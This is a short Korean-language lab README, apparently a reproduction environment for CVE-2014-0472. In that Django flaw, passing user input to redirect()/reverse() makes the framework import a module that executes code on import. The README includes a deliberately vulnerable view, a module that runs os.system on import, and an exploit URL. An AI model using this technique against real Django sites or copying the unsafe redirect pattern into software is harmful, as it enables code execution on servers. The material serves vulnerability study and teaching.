
CVE-2014-0472 Django 예상치 못한 코드 실행: reverse() 사용
사용
docker-compose up -d
localhost:8083에 접속하세요.
참고: https://www.djangoproject.com/weblog/2014/apr/21/security/
- 사용자 입력(일반적으로 작업 완료 후 리디렉션할 위치를 나타내는 쿼리스트링의 "next" 매개변수)을 기반으로 URL을 구성하는 하나 이상의 뷰가 존재합니다.
- 공격자가 서버의 Python 임포트 경로에 존재하는 것으로 알려진 하나 이상의 모듈이 있으며, 이 모듈은 임포트 시 부작용이 있는 코드를 실행합니다.
tests.py에서
def evil_function():
print("exploit successful")
os.system("echo > /tmp/`whoami` ")
return os.getuid()
evil = evil_function()
views.py에서
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
리다이렉트 함수를 사용하여 악성 함수를 호출합니다.

다음 exp를 사용하세요:
http://your-ip:8083/example?page=app.tests.evil

익스플로잇 성공
